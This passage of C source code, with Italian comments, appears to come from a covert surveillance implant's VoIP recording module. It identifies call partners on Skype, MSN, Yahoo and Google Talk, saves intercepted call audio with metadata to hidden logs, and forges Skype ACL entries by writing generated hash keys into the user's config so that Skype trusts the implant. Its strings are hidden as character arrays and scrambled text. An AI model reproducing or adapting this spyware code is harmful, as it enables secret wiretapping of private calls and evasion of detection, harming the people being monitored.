(speex_encoder_ctl_t)GetProcAddress(hcodec, "speex_encoder_ctl")) ) RESOLVE_ERROR; if (! (rel_speex_encoder_destroy = (speex_encoder_destroy_t)GetProcAddress(hcodec, "speex_encoder_destroy")) ) RESOLVE_ERROR; if (! (rel_speex_encode = (speex_encode_t)GetProcAddress(hcodec, "speex_encode")) ) RESOLVE_ERROR; if (! (rel_speex_bits_init = (speex_bits_init_t)GetProcAddress(hcodec, "speex_bits_init")) ) RESOLVE_ERROR; if (! (rel_speex_bits_reset = (speex_bits_reset_t)GetProcAddress(hcodec, "speex_bits_reset")) ) RESOLVE_ERROR; if (! (rel_speex_bits_write = (speex_bits_write_t)GetProcAddress(hcodec, "speex_bits_write")) ) RESOLVE_ERROR; if (! (rel_speex_bits_destroy = (speex_bits_destroy_t)GetProcAddress(hcodec, "speex_bits_destroy")) ) RESOLVE_ERROR; if (! (rel_speex_lib_get_mode = (speex_lib_get_mode_t)GetProcAddress(hcodec, "speex_lib_get_mode")) ) RESOLVE_ERROR; return hcodec; } // Ritorna l'additional data da inserire nel file // NON e' thread safe (tanto la richiamo solo da una funzione) #define MAX_PEER_LEN 500 pVoiceAdditionalData VoipGetAdditionalData(partner_entry *partner_list, DWORD in_out, DWORD *add_len) { static BYTE additional_data[sizeof(VoiceAdditionalData)+(MAX_PEER_LEN*2*sizeof(WCHAR))]; pVoiceAdditionalData voip_header = (pVoiceAdditionalData)additional_data; WCHAR *peer_string = (WCHAR *)(voip_header+1); if (add_len) *add_len = 0; memset(additional_data, 0, sizeof(additional_data)); voip_header->uVersion = LOG_VOICE_VERSION; voip_header->uIngoing = 0; voip_header->uChannel = in_out; if (partner_list) voip_header->uProgramType = partner_list->voip_program + 0x140; else voip_header->uProgramType = 0; memcpy(&(voip_header->start), &(channel_time_start[in_out]), sizeof(FILETIME)); memcpy(&(voip_header->stop), &(channel_time_last[in_out]), sizeof(FILETIME)); voip_header->uCallerIdLen = 0; if (partner_list) { switch (partner_list->voip_program) { case VOIP_MSMSG: voip_header->uSampleRate = SAMPLE_RATE_MSN; break; case VOIP_YAHOO: if (in_out == 0) voip_header->uSampleRate = SAMPLE_RATE_YMSG; else voip_header->uSampleRate = SAMPLE_RATE_YMSG_IN; break; case VOIP_SKYPE: voip_header->uSampleRate = SAMPLE_RATE_SKYPE; break; case VOIP_GTALK: voip_header->uSampleRate = SAMPLE_RATE_GTALK; break; case VOIP_MSNWS: voip_header->uSampleRate = sample_sampling[in_out]; break; case VOIP_SKWSA: voip_header->uSampleRate = sample_sampling[in_out]; break; default: voip_header->uSampleRate = SAMPLE_RATE_DEFAULT; } } else voip_header->uSampleRate = SAMPLE_RATE_DEFAULT; peer_string[0] = 0; for (; partner_list; partner_list=partner_list->next) { if (partner_list->peer) { if (peer_string[0]) _snwprintf_s(peer_string, MAX_PEER_LEN, _TRUNCATE, L"%s,%S", peer_string, partner_list->peer); else _snwprintf_s(peer_string, MAX_PEER_LEN, _TRUNCATE, L"%S", partner_list->peer); /*if (partner_list->participants==0) _snwprintf_s(peer_string, MAX_PEER_LEN, _TRUNCATE, L"%s %S", peer_string, partner_list->peer); else _snwprintf_s(peer_string, MAX_PEER_LEN, _TRUNCATE, L"%s %S(+%d)", peer_string, partner_list->peer, partner_list->participants);*/ } } voip_header->uCalleeIdLen = wcslen(peer_string) * sizeof(WCHAR); if (add_len) *add_len = sizeof(VoiceAdditionalData) + voip_header->uCalleeIdLen + voip_header->uCallerIdLen; return voip_header; } // Calcola la differenza fra due FILETIME in decimi di secondo int TimeDiff(FILETIME *elem_1, FILETIME *elem_2) { long long elem64_1=0, elem64_2=0; int diff; elem64_1 = elem_1->dwHighDateTime; elem64_1<<=32; elem64_2 = elem_2->dwHighDateTime; elem64_2<<=32; elem64_1 += elem_1->dwLowDateTime; elem64_2 += elem_2->dwLowDateTime; elem64_1 -= elem64_2; elem64_1 /= 1000000; diff = (int) elem64_1; return diff; } void EndCall() { DWORD i, marker = 0xFFFFFFFF; HANDLE hf; pVoiceAdditionalData additional_data; DWORD additional_len; // Salva code pendenti (se presenti) di una precedente chiamata for (i=0; i<2; i++) { if (sample_size[i]>0) { additional_data = VoipGetAdditionalData(call_list_head, i, &additional_len); SaveWav(wave_array[i], sample_size[i], sample_channels[i], additional_data, additional_len); sample_size[i] = 0; } } for (i=0; i<2; i++) { // Aggiunge il chunk di fine chiamata // Forza la marcatura temporale alla fine dell'ultimo chunk della chiamata channel_time_start[i].dwHighDateTime = channel_time_last[i].dwHighDateTime; channel_time_start[i].dwLowDateTime = channel_time_last[i].dwLowDateTime; additional_data = VoipGetAdditionalData(call_list_head, i, &additional_len); hf = Log_CreateFile(PM_VOIPRECORDAGENT, (BYTE *)additional_data, additional_len); Log_WriteFile(hf, (BYTE *)&marker, sizeof(DWORD)); Log_CloseFile(hf); } return ; } // NULL termina la stringa nella coda IPC void NullTerminatePacket(DWORD len, BYTE *msg) { if ( len <= (MAX_MSG_LEN-1) ) msg[len] = 0; else msg[(MAX_MSG_LEN-1)] = 0; } // Libera la lista degli interlocutori void FreePartnerList(partner_entry **head) { partner_entry *tmp_partner; partner_entry *curr_partner = *head; while (curr_partner) { tmp_partner = curr_partner->next; SAFE_FREE(curr_partner->peer); SAFE_FREE(curr_partner); curr_partner = tmp_partner; } *head = NULL; } // Puo' essere richiamata solo da dentro il processo di skype (uno dei suoi setup degli hook) BOOL IsSkypePMInstalled() { WCHAR skype_path[MAX_PATH]; WCHAR *skype_pm_ptr; WCHAR skype_pm_path[MAX_PATH]; HANDLE fileh; if (FNC(GetModuleFileNameExW)(FNC(GetCurrentProcess)(), NULL, skype_path, sizeof(skype_path)/sizeof(WCHAR))) { if (skype_pm_ptr = wcsstr(skype_path, L"\\Phone\\")) { *skype_pm_ptr = 0; _snwprintf_s(skype_pm_path, sizeof(skype_pm_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\Plugin Manager\\skypePM.exe", skype_path); fileh = FNC(CreateFileW)(skype_pm_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (fileh == INVALID_HANDLE_VALUE) return FALSE; CloseHandle(fileh); return TRUE; } } return FALSE; } #define GENERIC_FIELD_LEN MAX_PATH*2 // Usabile solo in questo caso, perche' potrebbe tornare dei campi inesistenti // ma tanto al fine dei nostri check poco ci interessa leggere dei campi in piu' // con valori NULL char *GetXMLNodeA(char *data, char *node, char *buffer) { char *ptr1, *ptr2, *ret_val; char saved_char; memset(buffer, 0, GENERIC_FIELD_LEN); if (data == NULL) return NULL; if ( !(ptr1 = strstr(data, node)) ) return NULL; ret_val = ptr1; if ( !(ptr1 = strchr(ptr1, L'>')) ) return NULL; if ( !(ptr2 = strchr(ptr1, L'<')) ) return NULL; saved_char = *ptr2; ptr1++; *ptr2 = 0; strncpy_s(buffer, GENERIC_FIELD_LEN, ptr1, _TRUNCATE); *ptr2 = saved_char; return ret_val; } //// Verifica se l'ACL nel file corrisponde alla nostra //BOOL CheckACL(char *key1, char *key2, char *key3, char *key4, char *path, char *m_key1, char *m_key2, char *m_key3, char *m_key4, char *m_path) //{ // if (/*!stricmp(key1, m_key1) &&*/ !stricmp(key2, m_key2) && !stricmp(key3, m_key3) && !stricmp(key4, m_key4)/* && !stricmp(path, m_path)*/) // return TRUE; // return FALSE; //} DWORD RapidGetFileSize(HANDLE hfile) { LARGE_INTEGER li; li.LowPart = INVALID_FILE_SIZE; if (!GetFileSizeEx(hfile, &li)) return INVALID_FILE_SIZE; return li.LowPart; } // Verifica se nel file di config c'e' la nostra ACL // Se non riesce ad aprire il file, torna che l'acl c'e'. Altrimenti potrebbe scriverla piu' volte...tanto poi non riuscirebbe comunque a scriverla BOOL IsACLPresent(WCHAR *config_path, char *m_key1, char *m_key2, char *m_key3, char *m_key4, char *m_path) { HANDLE hFile; HANDLE hMap; DWORD config_size; char *config_map; char *local_config_map, *ptr, *ptr_k; BOOL acl_found = FALSE; char key1[GENERIC_FIELD_LEN], key2[GENERIC_FIELD_LEN], key3[GENERIC_FIELD_LEN], key4[GENERIC_FIELD_LEN], path[GENERIC_FIELD_LEN]; // Mappa in memoria il file di config if ((hFile = FNC(CreateFileW)(config_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) return TRUE; config_size = RapidGetFileSize(hFile); if (config_size == INVALID_FILE_SIZE) { CloseHandle(hFile); return TRUE; } local_config_map = (char *)calloc(config_size + 1, sizeof(char)); if (local_config_map == NULL) { CloseHandle(hFile); return TRUE; } if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) { SAFE_FREE(local_config_map); CloseHandle(hFile); return TRUE; } if ( (config_map = (char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0)) ) { memcpy(local_config_map, config_map, config_size); FNC(UnmapViewOfFile)(config_map); ptr = local_config_map; // Vede se ce una chiave che matcha /*while (ptr = GetXMLNodeA(ptr, "Key1", key1)) { ptr_k = GetXMLNodeA(ptr, "Key2", key2); ptr_k = GetXMLNodeA(ptr_k, "Key3", key3); ptr_k = GetXMLNodeA(ptr_k, "Key4", key4); ptr_k = GetXMLNodeA(ptr_k, "Path", path); if (!ptr_k) break; // Se non ci sono piu' nemmeno un Key2,3,4 e Path e' inutile continuare a cercare if (CheckACL(key1, key2, key3, key4, path, m_key1, m_key2, m_key3, m_key4, m_path)) { acl_found = TRUE; break; } ptr++; }*/ if (strstr(ptr, "") || strstr(ptr, "")) acl_found = TRUE; } SAFE_FREE(local_config_map); CloseHandle(hMap); CloseHandle(hFile); return acl_found; } // Scriva la nostra ACL nel file di config BOOL WriteSkypeACL(WCHAR *config_path, char *key1, char *key2, char *key3, char *key4, char *key5, char *key6, char *path, BOOL isOld) { HANDLE hFile; HANDLE hMap; DWORD config_size, first_part_size; char *config_map; char *local_config_map, *ptr = NULL; BOOL acl_missing = FALSE, c_missing = FALSE; DWORD dummy; // Fa una copia del file in memoria if ((hFile = FNC(CreateFileW)(config_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) return FALSE; config_size = RapidGetFileSize(hFile); if (config_size == INVALID_FILE_SIZE) { CloseHandle(hFile); return FALSE; } local_config_map = (char *)calloc(config_size + 1, sizeof(char)); if (local_config_map == NULL) { CloseHandle(hFile); return FALSE; } if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) { SAFE_FREE(local_config_map); CloseHandle(hFile); return FALSE; } if (! (config_map = (char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0)) ) { SAFE_FREE(local_config_map); CloseHandle(hMap); CloseHandle(hFile); return FALSE; } memcpy(local_config_map, config_map, config_size); FNC(UnmapViewOfFile)(config_map); CloseHandle(hMap); // Vede se manca la sezione if (!(ptr = strstr(local_config_map, ""))) { acl_missing = TRUE; ptr = strstr(local_config_map, ""); if (!ptr) { c_missing = TRUE; ptr = strstr(local_config_map, ""); } } if (!ptr) { SAFE_FREE(local_config_map); CloseHandle(hFile); return FALSE; } // Svuota il contenuto del file SetFilePointer(hFile, 0, NULL, FILE_BEGIN); first_part_size = ptr - local_config_map; WriteFile(hFile, local_config_map, first_part_size, &dummy, NULL); if (c_missing) WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); if (acl_missing) WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); if (!isOld) WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); else WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); WriteFile(hFile, key1, strlen(key1), &dummy, NULL); WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); WriteFile(hFile, "", strlen(""), &dummy, NULL); WriteFile(hFile, key2, strlen(key2), &dummy, NULL); WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); WriteFile(hFile, "", strlen(""), &dummy, NULL); WriteFile(hFile, key3, strlen(key3), &dummy, NULL); WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); WriteFile(hFile, "", strlen(""), &dummy, NULL); WriteFile(hFile, key4, strlen(key4), &dummy, NULL); WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); WriteFile(hFile, "", strlen(""), &dummy, NULL); WriteFile(hFile, key5, strlen(key5), &dummy, NULL); WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); WriteFile(hFile, "", strlen(""), &dummy, NULL); WriteFile(hFile, key6, strlen(key6), &dummy, NULL); WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); WriteFile(hFile, "", strlen(""), &dummy, NULL); WriteFile(hFile, path, strlen(path), &dummy, NULL); if (!isOld) WriteFile(hFile, "\r\n\r\n", strlen("\r\n\r\n"), &dummy, NULL); else WriteFile(hFile, "\r\n\r\n", strlen("\r\n\r\n"), &dummy, NULL); if (acl_missing) WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); if (c_missing) WriteFile(hFile, "\r\n", strlen("\r\n"), &dummy, NULL); if (!WriteFile(hFile, ptr, config_size - first_part_size, &dummy, NULL)) { SetEndOfFile(hFile); SAFE_FREE(local_config_map); CloseHandle(hFile); return FALSE; } SetEndOfFile(hFile); SAFE_FREE(local_config_map); CloseHandle(hFile); return TRUE; } // Torna TRUE se e' precedente alla 5.5.0.X BOOL IsOldSkypeVersion(WCHAR *config_path) { HANDLE hFile; HANDLE hMap; DWORD config_size; char *config_map; char *local_config_map, *ptr = NULL; // Fa una copia del file in memoria if ((hFile = FNC(CreateFileW)(config_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) return FALSE; config_size = GetFileSize(hFile, NULL); if (config_size == INVALID_FILE_SIZE) { CloseHandle(hFile); return FALSE; } local_config_map = (char *)calloc(config_size + 1, sizeof(char)); if (local_config_map == NULL) { CloseHandle(hFile); return FALSE; } if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) { SAFE_FREE(local_config_map); CloseHandle(hFile); return FALSE; } if (! (config_map = (char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0)) ) { SAFE_FREE(local_config_map); CloseHandle(hMap); CloseHandle(hFile); return FALSE; } memcpy(local_config_map, config_map, config_size); FNC(UnmapViewOfFile)(config_map); CloseHandle(hMap); // Vede se manca la sezione if (strstr(local_config_map, "5.3.0.")) { SAFE_FREE(local_config_map); CloseHandle(hFile); return TRUE; } SAFE_FREE(local_config_map); CloseHandle(hFile); return FALSE; } extern BOOL SkypeACLKeyGen(char *lpUserName, char *lpFileName, char *lpOutKey1, char *lpOutKey2, char *lpOutKey3, char *lpOutKey4, char *lpOutKey5, char *lpOutKey6, char *lpOutPath, BOOL isOld); BOOL CalculateUserHash(WCHAR *user_name, WCHAR *file_path, char *m_key1, char *m_key2, char *m_key3, char *m_key4, char *m_key5, char *m_key6, char *m_path, BOOL isOld) { char c_user_name[MAX_PATH]; char c_file_path[MAX_PATH]; sprintf_s(c_user_name, MAX_PATH, "%S", user_name); sprintf_s(c_file_path, MAX_PATH, "%S", file_path); ZeroMemory(m_key1, MAX_HASHKEY_LEN); ZeroMemory(m_key2, MAX_HASHKEY_LEN); ZeroMemory(m_key3, MAX_HASHKEY_LEN); ZeroMemory(m_key4, MAX_HASHKEY_LEN); ZeroMemory(m_key5, MAX_HASHKEY_LEN); ZeroMemory(m_key6, MAX_HASHKEY_LEN); ZeroMemory(m_path, MAX_HASHKEY_LEN); return SkypeACLKeyGen(c_user_name, c_file_path, m_key1, m_key2, m_key3, m_key4, m_key5, m_key6, m_path, isOld); } // Cerca (e in caso fa calcolare) gli hash corretti relativi ad un particolare utente BOOL FindHashKeys(WCHAR *user_name, WCHAR *file_path, char *m_key1, char *m_key2, char *m_key3, char *m_key4, char *m_key5, char *m_key6, char *m_path, BOOL isOld) { typedef struct { WCHAR user_name[MAX_PATH]; char m_key1[MAX_HASHKEY_LEN]; char m_key2[MAX_HASHKEY_LEN]; char m_key3[MAX_HASHKEY_LEN]; char m_key4[MAX_HASHKEY_LEN]; char m_key5[MAX_HASHKEY_LEN]; char m_key6[MAX_HASHKEY_LEN]; char m_path[MAX_HASHKEY_LEN]; } user_hash_struct; static user_hash_struct *user_hash_array_old = NULL; static DWORD user_hash_size_old = 0; static user_hash_struct *user_hash_array_new = NULL; static DWORD user_hash_size_new = 0; user_hash_struct *tmp_ptr = NULL; DWORD i; if (isOld) { for (i=0; ipeer==NULL || strcmp(call_list_head->peer, MsnID)) { EndCall(); FreePartnerList(&call_list_head); // Alloca il nuovo interlocutore if ( (call_list_head = (partner_entry *)calloc(sizeof(partner_entry), 1)) ) { call_list_head->peer = MsnID; call_list_head->voip_program = VOIP_MSMSG; } } } if ((*pdwFlags & FLAGS_MSN_IN) || (*pdwFlags & FLAGS_MSN_OUT)) return TRUE; // Se e' una chiamata VOIP_MSMSG, ma riceve chunk da wasapi, la trasforma in VOIP_MSMSG per // far accettare i chunk if ( (((*pdwFlags)>>24) & 0x3F) == VOIP_MSNWS && call_list_head && (call_list_head->voip_program == VOIP_MSMSG)) call_list_head->voip_program = VOIP_MSNWS; return FALSE; } BOOL ParseGtalkMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags) { char *ptr = NULL, *tmp_ptr = NULL; char *GTID = NULL; /* if (*pdwFlags & FLAGS_GTALK_IN) { NullTerminatePacket(*pdwLen, msg); if ( (ptr = strchr((char *)msg, '>')) && !strncmp(++ptr, "')) ) { *tmp_ptr = 0; // E' un pacchetto di accept per una chiamata iniziata da noi if ( strstr(ptr, "type=\"accept\"") && (ptr = strstr((char *)msg, "from=\"")) ) { ptr+=strlen("from=\""); if ( (tmp_ptr = strchr(ptr, '/')) ) *tmp_ptr = 0; GTID = strdup(ptr); } else if ( strstr(ptr, "type=\"terminate\"") ) { // E' un pacchetto di terminate EndCall(); FreePartnerList(&call_list_head); } } } if (*pdwFlags & FLAGS_GTALK_OUT) { NullTerminatePacket(*pdwLen, msg); // E' un pacchetto di accept per una chiamata iniziata da noi if ( (ptr = strchr((char *)msg, '>')) && !strncmp(++ptr, "')) ) { *tmp_ptr = 0; if ( strstr(ptr, "type=\"accept\"") && (ptr = strstr((char *)msg, "to=\"")) ) { ptr+=strlen("to=\""); if ( (tmp_ptr = strchr(ptr, '/')) ) *tmp_ptr = 0; GTID = strdup(ptr); } else if ( strstr(ptr, "type=\"terminate\"") ) { // E' un pacchetto di terminate EndCall(); FreePartnerList(&call_list_head); } } } // Se ha trovato un nuovo interlocutore if (GTID) { EndCall(); FreePartnerList(&call_list_head); // Alloca il nuovo interlocutore if ( (call_list_head = (partner_entry *)calloc(sizeof(partner_entry), 1)) ) { //Log_Sanitize(GTID); call_list_head->peer = GTID; call_list_head->voip_program = VOIP_GTALK; } } */ if ((*pdwFlags & FLAGS_GTALK_IN) || (*pdwFlags & FLAGS_GTALK_OUT)) return TRUE; return FALSE; } BOOL ParseYahooMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags) { char *ptr = NULL, *tmp = NULL; BOOL is_interesting = FALSE; char YID[64]; char invite[10]; DWORD seq = 0xfffffff; char sip_tag[] = { 'S', 'I', 'P', '/', '2', '.', '0', ' ', '2', '0', '0', ' ', 'O', 'K', 0x0 }; //"SIP/2.0 200 OK" char to_tag[] = { 'T', 'o', ':', ' ', 0x0 }; //"To: " char to_sip[] = { 'T', 'o', ':', ' ', '<', 's', 'i', 'p', ':', 0x0 }; //"To: peer = strdup(YID); call_list_head->voip_program = VOIP_YAHOO; // Termina la chiamata } else if(!strncmp(invite, "BYE", 3) && seq != 0xffffffff) { // flusha la chiamata e libera la lista degli interlocutori // (in questo caso e' uno soltanto). EndCall(); FreePartnerList(&call_list_head); } } } if ((*pdwFlags & FLAGS_YMSG_IN) || (*pdwFlags & FLAGS_YMSG_OUT)) return TRUE; return FALSE; } BOOL ParseSkypeMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags) { COPYDATASTRUCT cd_struct; DWORD call_id; char req_buf[256]; char id_num[] = { '#', '1', '4', '1', '1', '3', '0', '0', '9', 0x0 }; //"#14113009" char partner_h_id[] = { '#', '1', '4', '1', '1', '3', '0', '0', '9', ' ', 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'P', 'A', 'R', 'T', 'N', 'E', 'R', '_', 'H', 'A', 'N', 'D', 'L', 'E', ' ', '%', 's', 0x0 }; //"#14113009 CALL %d PARTNER_HANDLE %s" char id_local_hold[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'L', 'O', 'C', 'A', 'L', 'H', 'O', 'L', 'D', 0x0 }; //"STATUS LOCALHOLD" char id_remotehold[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'R', 'E', 'M', 'O', 'T', 'E', 'H', 'O', 'L', 'D', 0x0 }; //"STATUS REMOTEHOLD" char id_finished[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'F', 'I', 'N', 'I', 'S', 'H', 'E', 'D', 0x0 }; //"STATUS FINISHED" char id_unplaced[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'U', 'N', 'P', 'L', 'A', 'C', 'E', 'D', 0x0 }; //"STATUS INPROGRESS" char id_unplaced_format[] = { 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'U', 'N', 'P', 'L', 'A', 'C', 'E', 'D', 0x0 }; //"CALL %d STATUS INPROGRESS" char id_ringing[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'R', 'I', 'N', 'G', 'I', 'N', 'G', 0x0 }; //"STATUS INPROGRESS" char id_ringing_format[] = { 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'R', 'I', 'N', 'G', 'I', 'N', 'G', 0x0 }; //"CALL %d STATUS INPROGRESS" char id_partic_count[] = { 'C', 'O', 'N', 'F', '_', 'P', 'A', 'R', 'T', 'I', 'C', 'I', 'P', 'A', 'N', 'T', 'S', '_', 'C', 'O', 'U', 'N', 'T', 0x0 }; //"CONF_PARTICIPANTS_COUNT" char format_partner_handle[] = { '#', '1', '4', '1', '1', '3', '0', '0', '9', ' ', 'G', 'E', 'T', ' ', 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'P', 'A', 'R', 'T', 'N', 'E', 'R', '_', 'H', 'A', 'N', 'D', 'L', 'E', 0x0 }; //"#14113009 GET CALL %d PARTNER_HANDLE" char format_conf_part[] = { 'G', 'E', 'T', ' ', 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'C', 'O', 'N', 'F', '_', 'P', 'A', 'R', 'T', 'I', 'C', 'I', 'P', 'A', 'N', 'T', 'S', '_', 'C', 'O', 'U', 'N', 'T', 0x0 }; //"GET CALL %d CONF_PARTICIPANTS_COUNT" char format_call_stat[] = { 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'S', 'T', 'A', 'T', 'U', 'S', ' ', '%', 's', 0x0 }; //"CALL %d STATUS %s" char format_call_part[] = { 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'C', 'O', 'N', 'F', '_', 'P', 'A', 'R', 'T', 'I', 'C', 'I', 'P', 'A', 'N', 'T', 'S', '_', 'C', 'O', 'U', 'N', 'T', ' ', '%', 'd', 0x0 }; //"CALL %d CONF_PARTICIPANTS_COUNT %d" char string_obfs[] = { '_', ' ', 'O', 'E', 'P', 'U', 'v', 'E', 't', 'U', 'P', 'C', ' ', 'X', 'Q', 'y', 'c', ' ', 'H', 'd', 'l', 'd', 'l', '1', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', 'Q', 'M', 0x0d, 0x0a, 0x0}; // "_ OEPUvEtUPC XQyc Hdldl1.............QM\r\n" if (*pdwFlags & FLAGS_SKAPI_MSG) { NullTerminatePacket(*pdwLen, msg); if (!strncmp((char *)msg, id_num, 9)) { // Skype ha risposto alle nostre richieste dicendo chi e' l'interlocutore // per questa chiamata partner_entry *curr_partner; char *partner_handle; if (! (partner_handle = (char *)calloc(strlen((char *)msg), sizeof(char))) ) return TRUE; sscanf((char *)msg, partner_h_id, &call_id, partner_handle); //Log_Sanitize(partner_handle); // vede se abbiamo gia' in lista questa chiamata for (curr_partner = call_list_head; curr_partner; curr_partner=curr_partner->next) if (curr_partner->Id == call_id) { SAFE_FREE(partner_handle); return TRUE; } // Se nella lista c'e' un interlocutore non Skype, azzera la lista for (curr_partner = call_list_head; curr_partner; curr_partner=curr_partner->next) if (curr_partner->voip_program != VOIP_SKYPE && curr_partner->voip_program != VOIP_SKWSA) { FreePartnerList(&call_list_head); break; } // Se non e' presente lo inseriamo in testa if ( !(curr_partner = (partner_entry *)malloc(sizeof(partner_entry))) ) { SAFE_FREE(partner_handle); return TRUE; } EndCall(); // E' cambiata la lista degli interlocutori, quindi // forza il salvataggio della chiamata curr_partner->next = call_list_head; curr_partner->Id = call_id; curr_partner->participants = 0; curr_partner->peer = partner_handle; curr_partner->flags = 0; curr_partner->voip_program = VOIP_SKYPE; call_list_head = curr_partner; } else if (strstr((char *)msg, id_unplaced) && skype_api_wnd) { DWORD dummy; // Riceve l'avviso di chiamata in progress e richiede chi e' l'interlocutore sscanf((char *)msg, id_unplaced_format, &call_id); sprintf(req_buf, format_partner_handle, call_id); cd_struct.dwData = 0; cd_struct.lpData = req_buf; cd_struct.cbData = strlen((char *)cd_struct.lpData)+1; HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy); // e chiede anche quanti sono a partecipare alla chiamata (in remoto) sprintf(req_buf, format_conf_part, call_id); cd_struct.dwData = 0; cd_struct.lpData = req_buf; cd_struct.cbData = strlen((char *)cd_struct.lpData)+1; HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy); // Termina ogni chiamata esistente EndCall(); FreePartnerList(&call_list_head); } else if (strstr((char *)msg, id_ringing) && skype_api_wnd) { DWORD dummy; // Riceve l'avviso di chiamata in progress e richiede chi e' l'interlocutore sscanf((char *)msg, id_ringing_format, &call_id); sprintf(req_buf, format_partner_handle, call_id); cd_struct.dwData = 0; cd_struct.lpData = req_buf; cd_struct.cbData = strlen((char *)cd_struct.lpData)+1; HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy); // e chiede anche quanti sono a partecipare alla chiamata (in remoto) sprintf(req_buf, format_conf_part, call_id); cd_struct.dwData = 0; cd_struct.lpData = req_buf; cd_struct.cbData = strlen((char *)cd_struct.lpData)+1; HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy); // Termina ogni chiamata esistente EndCall(); FreePartnerList(&call_list_head); } else if (strstr((char *)msg, id_local_hold) || strstr((char *)msg, id_remotehold) || strstr((char *)msg, id_finished)) { // Una chiamata e' stata terminata o messa in attesa partner_entry **curr_partner, *tmp_partner; sscanf((char *)msg, format_call_stat, &call_id, req_buf); for (curr_partner = &call_list_head; *curr_partner; curr_partner=&((*curr_partner)->next)) if ((*curr_partner)->Id == call_id) { EndCall(); // E' cambiata la lista degli interlocutori, quindi // forza il salvataggio della chiamata // Togliamo un elemento dalla lista degli interlocutori SAFE_FREE( (*curr_partner)->peer ); tmp_partner = *curr_partner; *curr_partner = (*curr_partner)->next; SAFE_FREE(tmp_partner); break; } } else if (strstr((char *)msg, id_partic_count)) { // Skype ci ha risposto dicendo quante persone stanno partecipando a una chiamata (da remoto) DWORD participant_count; partner_entry *curr_partner; sscanf((char *)msg, format_call_part, &call_id, &participant_count); for (curr_partner = call_list_head; curr_partner; curr_partner=curr_partner->next) if (curr_partner->Id == call_id) { if (participant_count > 0) curr_partner->participants = participant_count-1; else curr_partner->participants = 0; break; } } return TRUE; } if (*pdwFlags & FLAGS_SKAPI_WND) { ScrambleString ss(string_obfs, is_demo_version); // "- Monitoring VOIP queues.............OK\r\n" REPORT_STATUS_LOG(ss.get_str()); skype_api_wnd = *((HWND *)msg); return TRUE; } if (*pdwFlags & FLAGS_SKAPI_SWD) { skype_pm_wnd = *((HWND *)msg); return TRUE; } if (*pdwFlags & FLAGS_SKAPI_INI) { // Skype e' ripartito. Salviamo eventuali code e azzeriamo la lista // dei partner EndCall(); FreePartnerList(&call_list_head); return TRUE; } // Se abbiamo ricevuto un chunk audio tramite wsawrite o DirectSound, marca la chiamata come "old style" if ( (((*pdwFlags)>>24) & 0x3F) == VOIP_SKYPE && call_list_head && (call_list_head->voip_program == VOIP_SKYPE || call_list_head->voip_program == VOIP_SKWSA)) { call_list_head->voip_program = VOIP_SKYPE; call_list_head->flags = CALL_SKYPE_OLD; } // Al primo chunk audio che riceve come SKYPE WASAPI cambia il voip program nella lista // dei peer, cosi' i chunk verranno accettati correttamente e nel file verra scritto il giusto // sample rate. Lo fa solo se non e' una chiamata "old style" if ( (((*pdwFlags)>>24) & 0x3F) == VOIP_SKWSA && call_list_head && (call_list_head->voip_program == VOIP_SKYPE) && 